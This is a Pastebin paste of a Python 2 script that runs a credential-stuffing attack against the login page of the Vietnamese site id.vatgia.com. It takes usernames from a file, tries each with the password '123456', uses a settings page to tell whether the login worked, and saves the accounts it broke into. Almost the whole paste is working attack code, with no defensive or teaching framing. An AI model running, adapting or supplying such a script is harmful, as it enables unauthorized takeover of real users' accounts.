Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # -*- coding: utf-8 -*-
- import re
- import urllib2
- import time
- import cookielib
- filename = 'account.txt'
- passwd = "123456"
- with open(filename) as f:
- for line in f:
- line = line.replace("\n","")
- print "Brute Force Account : %s" % line
- POSTDATA = "SignInForm[username]=%s&SignInForm[password]=%s&SignInForm[remember]=0&btnSignIn=" % (line,passwd)
- #print POSTDATA
- URL = "https://id.vatgia.com/dang-nhap/"
- URL2 = "https://id.vatgia.com/thiet-lap/"
- try:
- cj = cookielib.CookieJar()
- opener = urllib2.build_opener(urllib2.HTTPRedirectHandler(),urllib2.HTTPCookieProcessor(cj))
- opener.open(URL,POSTDATA)
- #response = opener.open(URL,POSTDATA).read()
- response1 = opener.open(URL2,POSTDATA).read()
- #for cookie in cj:
- #print cookie
- #open('debug/%s.html'%line, 'wb').write(response1)
- result = re.findall(line, response1)
- if len(result) >1:
- print "Login Account Ok"
- open('LstAccount.txt', 'a').write(line+"\n")
- else:
- print "Login Account Error"
- time.sleep(3)
- except:
- print str(line) + " Error"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement